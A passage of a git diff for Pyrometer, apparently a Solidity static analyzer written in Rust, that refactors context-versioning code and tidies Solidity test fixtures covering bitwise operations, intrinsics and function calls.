Ok(new_cvarnode) } else { diff --git a/crates/graph/src/nodes/context/versioning.rs b/crates/graph/src/nodes/context/versioning.rs index 4b96f7e5..46689e87 100644 --- a/crates/graph/src/nodes/context/versioning.rs +++ b/crates/graph/src/nodes/context/versioning.rs @@ -1,59 +1,18 @@ use crate::nodes::Context; -use crate::ContextEdge; -use crate::Edge; use crate::{ nodes::{CallFork, ContextNode, FunctionNode, KilledKind}, AnalyzerBackend, GraphBackend, Node, }; -use petgraph::visit::EdgeRef; -use petgraph::Direction; use shared::GraphError; use solang_parser::pt::Loc; +use super::underlying::SubContextKind; + impl ContextNode { /// Query whether this context has a parent pub fn has_parent(&self, analyzer: &impl GraphBackend) -> Result { - Ok(self.underlying(analyzer)?.parent_ctx.is_some()) - } - - /// Sets the continuation context - pub fn set_continuation_ctx( - &self, - analyzer: &mut impl AnalyzerBackend, - continuation_of_ctx: ContextNode, - ty: &'static str, - ) -> Result<(), GraphError> { - assert!( - self.0 > continuation_of_ctx.0, - "{} {}", - self.0, - continuation_of_ctx.0 - ); - - let parent_list = self.parent_list(analyzer)?; - // if `continuation_of` already has a continuation, build off that continuation if it is in the parent list - if let Some(cont) = analyzer - .graph() - .edges_directed(continuation_of_ctx.into(), Direction::Incoming) - .find(|edge| { - matches!(edge.weight(), Edge::Context(ContextEdge::Continue(_))) - && parent_list.contains(&ContextNode::from(edge.source())) - }) - .map(|edge| ContextNode::from(edge.source())) - { - self.set_continuation_ctx(analyzer, cont, ty) - } else { - analyzer.add_edge( - *self, - continuation_of_ctx, - Edge::Context(ContextEdge::Continue(ty)), - ); - self.underlying_mut(analyzer)?.continuation_of = Some(continuation_of_ctx); - self.underlying_mut(analyzer)?.cache.vars = - continuation_of_ctx.underlying(analyzer)?.cache.vars.clone(); - Ok(()) - } + Ok(self.underlying(analyzer)?.parent_ctx().is_some()) } /// Gets the first ancestor of this context @@ -63,7 +22,7 @@ impl ContextNode { ) -> Result { if let Some(first_ancestor) = self.underlying(analyzer)?.cache.first_ancestor { Ok(first_ancestor) - } else if let Some(parent) = self.underlying(analyzer)?.parent_ctx { + } else if let Some(parent) = self.underlying(analyzer)?.parent_ctx() { let first = parent.first_ancestor(analyzer)?; self.underlying_mut(analyzer)?.cache.first_ancestor = Some(first); Ok(first) @@ -88,13 +47,13 @@ impl ContextNode { analyzer: &impl GraphBackend, associated_fn: FunctionNode, ) -> Result, GraphError> { - if let Some(ret) = self.underlying(analyzer)?.returning_ctx { + if let Some(ret) = self.underlying(analyzer)?.returning_ctx() { if ret.associated_fn(analyzer)? == associated_fn { return Ok(Some(ret)); } } - if let Some(parent) = self.underlying(analyzer)?.parent_ctx { + if let Some(parent) = self.underlying(analyzer)?.parent_ctx() { if parent.associated_fn(analyzer)? == associated_fn { Ok(Some(parent)) } else if let Some(mod_state) = &parent.underlying(analyzer)?.modifier_state { @@ -364,30 +323,26 @@ impl ContextNode { let curr = stack.pop_front().unwrap(); let left_ctx = Context::new_subctx( - curr, - None, + SubContextKind::Fork { + parent_ctx: curr, + true_side: true, + }, loc, - Some("join_left"), - None, - false, analyzer, None, )?; let left_subctx = ContextNode::from(analyzer.add_node(Node::Context(left_ctx))); let right_ctx = Context::new_subctx( - curr, - None, + SubContextKind::Fork { + parent_ctx: curr, + true_side: false, + }, loc, - Some("join_right"), - None, - false, analyzer, None, )?; let right_subctx = ContextNode::from(analyzer.add_node(Node::Context(right_ctx))); curr.set_child_fork(left_subctx, right_subctx, analyzer)?; - left_subctx.set_continuation_ctx(analyzer, curr, "join_left")?; - right_subctx.set_continuation_ctx(analyzer, curr, "join_right")?; stack.push_back(left_subctx); stack.push_back(right_subctx); @@ -477,7 +432,7 @@ impl ContextNode { } let context = self.underlying_mut(analyzer)?; - let parent = context.parent_ctx; + let parent = context.parent_ctx(); if context.killed.is_none() { context.killed = Some((kill_loc, kill_kind)); } @@ -507,7 +462,7 @@ impl ContextNode { if context.killed.is_none() { context.killed = Some((kill_loc, kill_kind)); } - if let Some(parent_ctx) = context.parent_ctx { + if let Some(parent_ctx) = context.parent_ctx() { parent_ctx.end_if_all_forks_ended(analyzer, kill_loc, kill_kind)?; } } @@ -522,7 +477,7 @@ impl ContextNode { ) -> Result, GraphError> { let context = self.underlying(analyzer)?; let mut parents = vec![]; - if let Some(parent_ctx) = context.parent_ctx { + if let Some(parent_ctx) = context.parent_ctx() { parents.push(parent_ctx); parents.extend(parent_ctx.parent_list(analyzer)?); } @@ -532,7 +487,7 @@ impl ContextNode { /// Gets the first context in the lineage pub fn genesis(&self, analyzer: &impl GraphBackend) -> Result { let context = self.underlying(analyzer)?; - if let Some(parent_ctx) = context.parent_ctx { + if let Some(parent_ctx) = context.parent_ctx() { parent_ctx.genesis(analyzer) } else { Ok(*self) diff --git a/crates/graph/src/range/exec/math_ops/exp.rs b/crates/graph/src/range/exec/math_ops/exp.rs index 58e383c4..928cbe6e 100644 --- a/crates/graph/src/range/exec/math_ops/exp.rs +++ b/crates/graph/src/range/exec/math_ops/exp.rs @@ -80,7 +80,7 @@ pub fn exec_exp( rhs_min: &Elem, rhs_max: &Elem, maximize: bool, - unchecked: bool, + _unchecked: bool, _analyzer: &impl GraphBackend, arena: &mut RangeArena>, ) -> Option> { diff --git a/crates/pyrometer/tests/test_data/abstract.sol b/crates/pyrometer/tests/test_data/abstract.sol index 4837a1a2..0a2a922d 100644 --- a/crates/pyrometer/tests/test_data/abstract.sol +++ b/crates/pyrometer/tests/test_data/abstract.sol @@ -1,19 +1,23 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + abstract contract A { uint a; + function foo(uint b) internal { if (bar() > 1) {} a = b; } - function bar() virtual internal view returns (uint); + function bar() internal view virtual returns (uint); } abstract contract YInterface { - function foo() virtual external returns (uint); + function foo() external virtual returns (uint); } contract Y is YInterface { - function foo() virtual override public returns (uint) { + function foo() public virtual override returns (uint) { return 1; } @@ -23,7 +27,7 @@ contract Y is YInterface { } abstract contract Base { - function foo() virtual public returns (uint){ + function foo() public virtual returns (uint) { return 0; } } @@ -33,7 +37,7 @@ contract Base2 is Base {} contract Base3 is Base2 {} contract Test is Base3 { - function foo() override public returns (uint){ + function foo() public override returns (uint) { return super.foo(); } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/bitwise.sol b/crates/pyrometer/tests/test_data/bitwise.sol index 42207a1d..00781f0c 100644 --- a/crates/pyrometer/tests/test_data/bitwise.sol +++ b/crates/pyrometer/tests/test_data/bitwise.sol @@ -1,9 +1,12 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract BitAnd { - function bit_and(bytes32 x, bytes32 y) public returns (bytes32) { + function bit_and(bytes32 x, bytes32 y) public pure returns (bytes32) { return x & y; } - function bit_and_conc(bytes32 d) public { + function bit_and_conc1() public pure { require(uint(bytes32(type(uint256).max) & bytes32(uint(100))) == 100); require(uint(bytes32(0) & bytes32(uint(100))) == 0); require(uint(bytes32(uint(101)) & bytes32(uint(105))) == 97); @@ -13,11 +16,11 @@ contract BitAnd { require(uint(bit_and(bytes32(uint(50)), bytes32(uint(500)))) == 48); } - function bit_and(uint256 x, uint256 y) public returns (uint256) { + function bit_and(uint256 x, uint256 y) public pure returns (uint256) { return x & y; } - function bit_and_conc(uint256 d) public { + function bit_and_conc() public pure { require(type(uint256).max & 100 == 100); require(0 & uint(100) == 0); require(101 & 105 == 97); @@ -25,11 +28,11 @@ contract BitAnd { require(bit_and(50, 500) == 48); } - function int_bit_and(int256 x, int256 y) public returns (int256) { + function int_bit_and(int256 x, int256 y) public pure returns (int256) { return x & y; } - function int_bit_and_conc(uint256 d) public { + function int_bit_and_conc() public pure { require(type(int256).max & int(100) == 100); require(0 & int(100) == 0); require(101 & 105 == 97); @@ -39,11 +42,11 @@ contract BitAnd { } contract BitOr { - function bit_or(bytes32 x, bytes32 y) public returns (bytes32) { + function bit_or(bytes32 x, bytes32 y) public pure returns (bytes32) { return x | y; } - function bit_or_conc(bytes32 d) public { + function bit_or_conc1() public pure { require( bytes32(type(uint256).max) | bytes32(uint(100)) == bytes32(type(uint256).max) @@ -57,11 +60,11 @@ contract BitOr { require(uint(bit_or(bytes32(uint(50)), bytes32(uint(500)))) == 502); } - function bit_or(uint256 x, uint256 y) public returns (uint256) { + function bit_or(uint256 x, uint256 y) public pure returns (uint256) { return x | y; } - function bit_or_conc(uint256 d) public { + function bit_or_conc() public pure { require(type(uint256).max | uint(100) == type(uint256).max); require(0 | uint(100) == 100); require(101 | 105 == 109); @@ -69,11 +72,11 @@ contract BitOr { require(bit_or(50, 500) == 502); } - function int_bit_or(int256 x, int256 y) public returns (int256) { + function int_bit_or(int256 x, int256 y) public pure returns (int256) { return x | y; } - function int_bit_or_conc(uint256 d) public { + function int_bit_or_conc() public pure { require(type(int256).max | int(100) == type(int256).max); require(0 | int(100) == 100); require(101 | 105 == 109); @@ -83,11 +86,11 @@ contract BitOr { } contract BitXor { - function bit_xor(uint256 x, uint256 y) public returns (uint256) { + function bit_xor(uint256 x, uint256 y) public pure returns (uint256) { return x ^ y; } - function bit_xor_conc(uint256 d) public { + function bit_xor_conc() public pure { require( type(uint256).max ^ uint(100) == 115792089237316195423570985008687907853269984665640564039457584007913129639835 @@ -98,11 +101,11 @@ contract BitXor { require(bit_xor(50, 500) == 454); } - function int_bit_xor(int256 x, int256 y) public returns (int256) { + function int_bit_xor(int256 x, int256 y) public pure returns (int256) { return x ^ y; } - function int_bit_xor_conc(uint256 d) public { + function int_bit_xor_conc() public pure { require( type(int256).max ^ int(100) == 57896044618658097711785492504343953926634992332820282019728792003956564819867 @@ -117,7 +120,7 @@ contract BitXor { } contract BitNot { - function yul_bit_not(bytes32 d) public view returns (bytes32) { + function yul_bit_not() public pure { uint256 x; assembly { x := not(100) @@ -128,7 +131,7 @@ contract BitNot { ); } - function bit_not(bytes32 d) public view returns (bytes32) { + function bit_not() public pure returns (bytes32) { bytes32 x = hex"1111"; require( ~x == @@ -153,11 +156,11 @@ contract BitNot { return ~x; } - function bit_not(uint256 x) public returns (uint256) { + function bit_not(uint256 x) public pure returns (uint256) { return ~x; } - function bit_not_conc(uint256 d) public { + function bit_not_conc() public pure { require(~type(uint256).max == 0); require( ~uint(100) == @@ -178,11 +181,11 @@ contract BitNot { ); } - function int_bit_not(int256 x) public returns (int256) { + function int_bit_not(int256 x) public pure returns (int256) { return ~x; } - function int_bit_not_conc(uint256 d) public returns (int256) { + function int_bit_not_conc() public pure { require(~type(int256).max == type(int256).min); require(~type(int256).min == type(int256).max); require(~int256(100) == -101); @@ -194,7 +197,7 @@ contract BitNot { } contract BitShl { - function yulShl(uint256 x, uint256 y) public returns (uint256) { + function yulShl(uint256 x, uint256 y) public pure returns (uint256) { uint256 ret; assembly { ret := shl(y, x) @@ -202,13 +205,13 @@ contract BitShl { return ret; } - function yulShl_conc() public { + function yulShl_conc() public pure { uint256 ret = yulShl(10, 1); uint256 other_ret = 10 << 1; require(ret == other_ret); } - function yulShr(uint256 x, uint256 y) public returns (uint256) { + function yulShr(uint256 x, uint256 y) public pure returns (uint256) { uint256 ret; assembly { ret := shr(x, y) @@ -216,15 +219,15 @@ contract BitShl { return ret; } - function shl(uint256 x, uint256 y) public returns (uint256) { + function shl(uint256 x, uint256 y) public pure returns (uint256) { return x << y; } - function int_shl(int256 x, uint256 y) public returns (int256) { + function int_shl(int256 x, uint256 y) public pure returns (int256) { return x << y; } - function shl_conc() public returns (uint256) { + function shl_conc() public pure { uint256 a1 = shl(100, 1); require(a1 == 200); uint256 a2 = shl(100, 2); @@ -253,7 +256,7 @@ contract BitShl { ); } - function int_shl_conc() public returns (int256) { + function int_shl_conc() public pure { int256 a1 = int_shl(100, 1); "pyro:variable:a1:range:[200,200]"; int256 a2 = int_shl(100, 2); @@ -313,15 +316,15 @@ contract BitShl { } contract BitShr { - function shr(uint256 x, uint256 y) public returns (uint256) { + function shr(uint256 x, uint256 y) public pure returns (uint256) { return x >> y; } - function int_shr(int256 x, uint256 y) public returns (int256) { + function int_shr(int256 x, uint256 y) public pure returns (int256) { return x >> y; } - function shr_conc() public { + function shr_conc() public pure { uint256 a1 = shr(100, 1); require(a1 == 50); uint256 a2 = shr(100, 2); @@ -347,7 +350,7 @@ contract BitShr { require(a10 == 2); } - function int_shr_conc() public returns (int256) { + function int_shr_conc() public pure { int256 a1 = int_shr(100, 1); require(a1 == 50); int256 a2 = int_shr(100, 2); diff --git a/crates/pyrometer/tests/test_data/const_var.sol b/crates/pyrometer/tests/test_data/const_var.sol index a30ec42a..98c379e7 100644 --- a/crates/pyrometer/tests/test_data/const_var.sol +++ b/crates/pyrometer/tests/test_data/const_var.sol @@ -1,7 +1,10 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract ConstVar { uint256 internal constant typeVar = type(uint256).max; - uint256 internal constant funcVar = a(); - uint256 internal constant funcVarInput = aInput(100); + uint256 internal immutable funcVar = a(); + uint256 internal immutable funcVarInput = aInput(100); bytes16 private constant bytesString = "0123456789abcdef"; function a() public pure returns (uint256) { @@ -16,11 +19,11 @@ contract ConstVar { } } - function checkA() public pure { + function checkA() public view { require(funcVar == type(uint256).max); } - function checkAInput() public pure { + function checkAInput() public view { require(funcVarInput == 110); } diff --git a/crates/pyrometer/tests/test_data/constructor.sol b/crates/pyrometer/tests/test_data/constructor.sol index cbf4d23e..818702bc 100644 --- a/crates/pyrometer/tests/test_data/constructor.sol +++ b/crates/pyrometer/tests/test_data/constructor.sol @@ -1,5 +1,9 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract A { address a; + constructor(address _a) { a = _a; } @@ -15,6 +19,7 @@ contract C is B { contract X { address x; + constructor(address _x) { x = _x; } @@ -29,9 +34,7 @@ contract D is Y, C { } abstract contract F { - function foo() public virtual { - - } + function foo() public virtual {} } contract G is F { @@ -41,11 +44,12 @@ contract G is F { } abstract contract H { - function foo() virtual external returns (uint) {} + function foo() external virtual returns (uint) {} } abstract contract I is H { H a; + function liquidateBorrowInternal(H _a) internal returns (uint, uint, uint) { uint b = foo(); uint b2 = _a.foo(); @@ -57,7 +61,7 @@ abstract contract I is H { return (b, b2, b3); } - function foo() public virtual override returns (uint){ + function foo() public virtual override returns (uint) { return 1; } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/dyn_types.sol b/crates/pyrometer/tests/test_data/dyn_types.sol index 81d4e01e..6f304c46 100644 --- a/crates/pyrometer/tests/test_data/dyn_types.sol +++ b/crates/pyrometer/tests/test_data/dyn_types.sol @@ -1,3 +1,6 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract DynTypes { uint256[] storeVar; @@ -8,14 +11,14 @@ contract DynTypes { mapping(address => Strukt) public someMapping; - function bytes_dyn(bytes calldata x) public { + function bytes_dyn(bytes calldata x) public pure { bytes memory y = x; require(x.length < 10); y[8] = 0xff; require(y.length == 9); } - function array_dyn(uint256[] memory x) public { + function array_dyn(uint256[] memory x) public pure { x[0] = 5; require(x.length < 10); uint256[] memory y = x; @@ -23,10 +26,7 @@ contract DynTypes { require(y.length == 9); } - function nested_bytes_dyn( - bytes[] memory x, - uint y - ) public returns (bytes1) { + function nested_bytes_dyn(bytes[] memory x, uint y) public pure { bytes memory a = hex"1337"; x[0] = a; require(x[0][0] == hex"13"); @@ -51,11 +51,11 @@ contract DynTypes { require(y == x); } - function indexInto() public returns (uint256) { + function indexInto() public view returns (uint256) { return storeVar[basicFunc()]; } - function basicFunc() public returns (uint256) { + function basicFunc() public pure returns (uint256) { return 1; } @@ -69,15 +69,16 @@ contract DynTypes { address[] t; - function inLoop(address holder, address[] memory tokens) public { + function inLoop(address holder, address[] memory tokens) public pure { address[] memory h = new address[](1); h[0] = holder; inLoop(h, tokens); } - function inLoop(address[] memory holders, address[] memory tokens) public { + function inLoop(address[] memory holders, address[] memory) public pure { for (uint j = 0; j < holders.length; j++) { address holder = holders[j]; + holder; } } } diff --git a/crates/pyrometer/tests/test_data/env.sol b/crates/pyrometer/tests/test_data/env.sol index a11015f2..11cf4523 100644 --- a/crates/pyrometer/tests/test_data/env.sol +++ b/crates/pyrometer/tests/test_data/env.sol @@ -1,9 +1,12 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract Env { - function msg_sender() public returns (address) { + function msg_sender() public view returns (address) { return msg.sender; } - function msg_data() public returns (bytes memory) { + function msg_data() public pure returns (bytes memory) { return msg.data; } } diff --git a/crates/pyrometer/tests/test_data/func_override.sol b/crates/pyrometer/tests/test_data/func_override.sol index 7f0c5851..4779e5f3 100644 --- a/crates/pyrometer/tests/test_data/func_override.sol +++ b/crates/pyrometer/tests/test_data/func_override.sol @@ -1,22 +1,24 @@ +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; + contract C {} contract B is C { - function a(uint256 x) internal virtual returns (uint256) { - return 200; - } + function a(uint256) internal virtual returns (uint256) { + return 200; + } } +contract A is B { + function a(uint256 x) internal pure override returns (uint256) { + return x + 5; + } -contract A is B, C { - function a(uint256 x) internal override returns (uint256) { - return x + 5; - } - - function b() public returns (uint256) { - uint256 ret = a(5); - require(ret == 10); - ret = super.a(5); - require(ret == 200); - return ret; - } + function b() public returns (uint256) { + uint256 ret = a(5); + require(ret == 10); + ret = super.a(5); + require(ret == 200); + return ret; + } } diff --git a/crates/pyrometer/tests/test_data/function_calls.sol b/crates/pyrometer/tests/test_data/function_calls.sol index 2f35c70b..36129bd4 100644 --- a/crates/pyrometer/tests/test_data/function_calls.sol +++ b/crates/pyrometer/tests/test_data/function_calls.sol @@ -1,84 +1,94 @@ -// contract InternalFuncCalls { -// address _owner; +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; -// function transferOwnership(address newOwner) public virtual { -// innerRequire(newOwner); -// _transferOwnership(newOwner); -// } +contract InternalFuncCalls { + address _owner; -// function innerRequire(address newOwner) public virtual { -// require(newOwner != address(0), "Ownable: new owner is the zero address"); -// } + function transferOwnership(address newOwner) public virtual { + innerRequire(newOwner); + _transferOwnership(newOwner); + } + + function innerRequire(address newOwner) public virtual { + require( + newOwner != address(0), + "Ownable: new owner is the zero address" + ); + } -// function _transferOwnership(address newOwner) internal virtual { -// address oldOwner = _owner; -// _owner = newOwner; -// } -// } + function _transferOwnership(address newOwner) internal virtual { + _owner = newOwner; + } +} -// contract B { -// uint256 public a; +contract B { + uint256 public a; -// function addToA(uint256 x) public { -// a += x; -// } + function addToA(uint256 x) public { + a += x; + } -// constructor(uint256 x) { -// a = x; -// } -// } + constructor(uint256 x) { + a = x; + } +} contract ExternalFuncCalls { - // function externalCall(uint256 x) public { - // B(address(100)).addToA(x); - // } + function externalCall(uint256 x) public { + B(address(100)).addToA(x); + } - // function externalCall_conc() public { - // B(address(100)).addToA(100); + function externalCall_conc() public { + B(address(100)).addToA(100); - // uint256 ba = B(address(100)).a(); - // } + uint256 ba = B(address(100)).a(); + ba; + } - function multiReturn() public returns (uint256, uint256, uint256, uint256) { + function multiReturn() + public + pure + returns (uint256, uint256, uint256, uint256) + { return (1, 2, 3, 4); } - function partialReturn() public { + function partialReturn() public pure { (uint256 w, , uint256 y, ) = multiReturn(); - // require(w == 1); - // require(y == 3); - // (uint256 w1, uint256 x1, uint256 y1, ) = multiReturn(); - // require(w1 == 1); - // require(y1 == 3); - // (, uint256 x2, , uint256 z) = multiReturn(); - // require(x2 == 2); - // require(z == 4); - // (, uint256 x3, uint256 y2, uint256 z2) = multiReturn(); - // require(x3 == 2); - // require(y2 == 3); - // require(z2 == 4); + require(w == 1); + require(y == 3); + (uint256 w1, , uint256 y1, ) = multiReturn(); + require(w1 == 1); + require(y1 == 3); + (, uint256 x2, , uint256 z) = multiReturn(); + require(x2 == 2); + require(z == 4); + (, uint256 x3, uint256 y2, uint256 z2) = multiReturn(); + require(x3 == 2); + require(y2 == 3); + require(z2 == 4); } } -// contract K { -// struct L { -// uint b; -// uint c; -// } +contract K { + struct L { + uint b; + uint c; + } -// function foo() internal { -// L memory l = L(2, 3); -// require(l.b == 2); -// require(l.c == 3); -// } -// } + function foo() internal pure { + L memory l = L(2, 3); + require(l.b == 2); + require(l.c == 3); + } +} -// contract Disambiguation { -// function foo(address from, address to, uint256 id) public { -// foo(from, to, id, 0); -// } +contract Disambiguation { + function foo(address from, address to, uint256 id) public { + foo(from, to, id, 0); + } -// function foo(address from, address to, uint256 id, uint num) internal {} + function foo(address from, address to, uint256 id, uint num) internal {} -// function foo(address by, address from, address to, uint256 id) internal {} -// } + function foo(address by, address from, address to, uint256 id) internal {} +} diff --git a/crates/pyrometer/tests/test_data/interface.sol b/crates/pyrometer/tests/test_data/interface.sol index cfca673d..eaf8b784 100644 --- a/crates/pyrometer/tests/test_data/interface.sol +++ b/crates/pyrometer/tests/test_data/interface.sol @@ -1,14 +1,15 @@ -// contract A { -// B b; -// } +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; interface B { function foo(uint bar) external pure returns (uint8); + function baz() external returns (uint); } contract A { B public b; + constructor(B _b) { b = _b; } @@ -17,4 +18,4 @@ contract A { b.baz(); b = _b; } -} \ No newline at end of file +} diff --git a/crates/pyrometer/tests/test_data/intrinsics.sol b/crates/pyrometer/tests/test_data/intrinsics.sol index f9754dc9..42c1b72d 100644 --- a/crates/pyrometer/tests/test_data/intrinsics.sol +++ b/crates/pyrometer/tests/test_data/intrinsics.sol @@ -1,26 +1,29 @@ -contract Intrinsics { - function strConcat() public { - string memory a = "aa"; - string memory b = "bb"; - string memory c = string.concat(a, b); - string memory d = string.concat(a, b, c); - } +// SPDX-License-Identifier: MIT or APACHE2 +pragma solidity ^0.8.0; - function bytesConcat() public { - bytes memory a = hex"aa"; - bytes memory b = hex"bb"; - bytes memory c = bytes.concat(a, b); - require(c[0] == hex"aa"); - require(c[1] == hex"bb"); - bytes memory d = bytes.concat(a, b, c); - require(d[0] == hex"aa"); - require(d[1] == hex"bb"); - require(d[2] == hex"aa"); - require(d[3] == hex"bb"); +contract Intrinsics { + function strConcat() public pure { + string memory a = "aa"; + string memory b = "bb"; + string memory c = string.concat(a, b); + string memory d = string.concat(a, b, c); + d; + } - } + function bytesConcat() public pure { + bytes memory a = hex"aa"; + bytes memory b = hex"bb"; + bytes memory c = bytes.concat(a, b); + require(c[0] == hex"aa"); + require(c[1] == hex"bb"); + bytes memory d = bytes.concat(a, b, c); + require(d[0] == hex"aa"); + require(d[1] == hex"bb"); + require(d[2] == hex"aa"); + require(d[3] == hex"bb"); + } - function yulIntrinsics() public { + function yulIntrinsics() public view { assembly { let a := timestamp() let b := caller() @@ -29,228 +32,264 @@ contract Intrinsics { } } + function blockData() public view { + uint256 fee = block.basefee; + uint256 chainid = block.chainid; + address coinbase = block.coinbase; + uint256 difficulty = block.difficulty; + uint256 prevrandao = block.prevrandao; + uint256 gaslimit = block.gaslimit; + uint256 number = block.number; + uint256 timestamp = block.timestamp; + bytes32 hash = blockhash(number); - function blockData() public { - uint256 fee = block.basefee; - uint256 chainid = block.chainid; - address coinbase = block.coinbase; - uint256 difficulty = block.difficulty; - uint256 prevrandao = block.prevrandao; - uint256 gaslimit = block.gaslimit; - uint256 number = block.number; - uint256 timestamp = block.timestamp; - bytes32 hash = blockhash(number); - } - - function msgData() public { - bytes memory data = msg.data; - address sender = msg.sender; - bytes4 sig = msg.sig; - uint256 value = msg.value; - } + fee; + chainid; + coinbase; + difficulty; + prevrandao; + gaslimit; + timestamp; + hash; + } - function txData() public { - uint256 gasprice = tx.gasprice; - address origin = tx.origin; - uint256 gasleft = gasleft(); - } + function msgData() public payable { + bytes memory data = msg.data; + address sender = msg.sender; + bytes4 sig = msg.sig; + uint256 value = msg.value; + data; + sender; + sig; + value; + } - function asserting() public { - assert(true); - } + function txData() public view { + uint256 gasprice = tx.gasprice; + address origin = tx.origin; + uint256 gas = gasleft(); + gasprice; + origin; + gas; + } - function requiring() public { - require(true, "with string"); - require(true); - } + function asserting() public pure { + assert(true); + } + function requiring() public pure { + require(true, "with string"); + require(true); + } - // error A(); - // function revertingWithError() public { - // revert A(); - // } + // error A(); + // function revertingWithError() public { + // revert A(); + // } - // function reverting() public { - // revert(); - // } + // function reverting() public { + // revert(); + // } - function precompiles() public { - bytes memory a = hex"aa"; - bytes32 hash = keccak256(a); - require(hash == 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365); - bytes32 shaHash = sha256(a); - bytes20 ripmdHash = ripemd160(a); - address recoveredAddr = ecrecover(hash, 1, 2, 3); - uint256 addMod = addmod(125, 100, 100); - require(addMod == 25); - uint256 mulMod = mulmod(125, 100, 100); - require(mulMod == 25); - } + function precompiles() public pure { + bytes memory a = hex"aa"; + bytes32 hash = keccak256(a); + require( + hash == + 0xdb81b4d58595fbbbb592d3661a34cdca14d7ab379441400cbfa1b78bc447c365 + ); + bytes32 shaHash = sha256(a); + bytes20 ripmdHash = ripemd160(a); + address recoveredAddr = ecrecover( + hash, + 1, + bytes32(uint256(2)), + bytes32(uint256(3)) + ); + shaHash; + ripmdHash; + recoveredAddr; + uint256 addMod = addmod(125, 100, 100); + require(addMod == 25); + uint256 mulMod = mulmod(125, 100, 100); + require(mulMod == 25); + } - function typeAttrs() public { - string memory name = type(Other).name; - // require(name == "Other"); + function typeAttrs() public pure { + string memory name = type(Other).name; + // require(name == "Other"); - bytes memory code = type(Other).creationCode; - bytes memory runtimeCode = type(Other).runtimeCode; + bytes memory code = type(Other).creationCode; + bytes memory runtimeCode = type(Other).runtimeCode; - bytes4 id = type(IOther).interfaceId; - } + bytes4 id = type(IOther).interfaceId; + id; + code; + runtimeCode; + name; + } - function uintMinMax() public { - uint256 max256 = type(uint256).max; - require(max256 == 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff); - uint248 max248 = type(uint248).max; - require(max248 == 2**248 - 1); - uint240 max240 = type(uint240).max; - require(max240 == 2**240 - 1); - uint232 max232 = type(uint232).max; - require(max232 == 2**232 - 1); - uint224 max224 = type(uint224).max; - require(max224 == 2**224 - 1); - uint216 max216 = type(uint216).max; - require(max216 == 2**216 - 1); - uint208 max208 = type(uint208).max; - require(max208 == 2**208 - 1); - uint200 max200 = type(uint200).max; - require(max200 == 2**200 - 1); - uint192 max192 = type(uint192).max; - require(max192 == 2**192 - 1); - uint184 max184 = type(uint184).max; - require(max184 == 2**184 - 1); - uint176 max176 = type(uint176).max; - require(max176 == 2**176 - 1); - uint168 max168 = type(uint168).max; - require(max168 == 2**168 - 1); - uint160 max160 = type(uint160).max; - require(max160 == 2**160 - 1); - uint152 max152 = type(uint152).max; - require(max152 == 2**152 - 1); - uint144 max144 = type(uint144).max; - require(max144 == 2**144 - 1); - uint136 max136 = type(uint136).max; - require(max136 == 2**136 - 1); - uint128 max128 = type(uint128).max; - require(max128 == 2**128 - 1); - uint120 max120 = type(uint120).max; - require(max120 == 2**120 - 1); - uint112 max112 = type(uint112).max; - require(max112 == 2**112 - 1); - uint104 max104 = type(uint104).max; - require(max104 == 2**104 - 1); - uint96 max96 = type(uint96).max; - require(max96 == 2**96 - 1); - uint88 max88 = type(uint88).max; - require(max88 == 2**88 - 1); - uint80 max80 = type(uint80).max; - require(max80 == 2**80 - 1); - uint72 max72 = type(uint72).max; - require(max72 == 2**72 - 1); - uint64 max64 = type(uint64).max; - require(max64 == 2**64 - 1); - uint56 max56 = type(uint56).max; - require(max56 == 2**56 - 1); - uint48 max48 = type(uint48).max; - require(max48 == 2**48 - 1); - uint40 max40 = type(uint40).max; - require(max40 == 2**40 - 1); - uint32 max32 = type(uint32).max; - require(max32 == 2**32 - 1); - uint24 max24 = type(uint24).max; - require(max24 == 2**24 - 1); - uint16 max16 = type(uint16).max; - require(max16 == 2**16 - 1); - uint8 max8 = type(uint8).max; - require(max8 == 2**8 - 1); + function uintMinMax() public pure { + uint256 max256 = type(uint256).max; + require( + max256 == + 0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff + ); + uint248 max248 = type(uint248).max; + require(max248 == 2 ** 248 - 1); + uint240 max240 = type(uint240).max; + require(max240 == 2 ** 240 - 1); + uint232 max232 = type(uint232).max; + require(max232 == 2 ** 232 - 1); + uint224 max224 = type(uint224).max; + require(max224 == 2 ** 224 - 1); + uint216 max216 = type(uint216).max; + require(max216 == 2 ** 216 - 1); + uint208 max208 = type(uint208).max; + require(max208 == 2 ** 208 - 1); + uint200 max200 = type(uint200).max; + require(max200 == 2 ** 200 - 1); + uint192 max192 = type(uint192).max; + require(max192 == 2 ** 192 - 1); + uint184 max184 = type(uint184).max; + require(max184 == 2 ** 184 - 1); + uint176 max176 = type(uint176).max; + require(max176 == 2 ** 176 - 1); + uint168 max168 = type(uint168).max; + require(max168 == 2 ** 168 - 1); + uint160 max160 = type(uint160).max; + require(max160 == 2 ** 160 - 1); + uint152 max152 = type(uint152).max; + require(max152 == 2 ** 152 - 1); + uint144 max144 = type(uint144).max; + require(max144 == 2 ** 144 - 1); + uint136 max136 = type(uint136).max; + require(max136 == 2 ** 136 - 1); + uint128 max128 = type(uint128).max; + require(max128 == 2 ** 128 - 1); + uint120 max120 = type(uint120).max; + require(max120 == 2 ** 120 - 1); + uint112 max112 = type(uint112).max; + require(max112 == 2 ** 112 - 1); + uint104 max104 = type(uint104).max; + require(max104 == 2 ** 104 - 1); + uint96 max96 = type(uint96).max; + require(max96 == 2 ** 96 - 1); + uint88 max88 = type(uint88).max; + require(max88 == 2 ** 88 - 1); + uint80 max80 = type(uint80).max; + require(max80 == 2 ** 80 - 1); + uint72 max72 = type(uint72).max; + require(max72 == 2 ** 72 - 1); 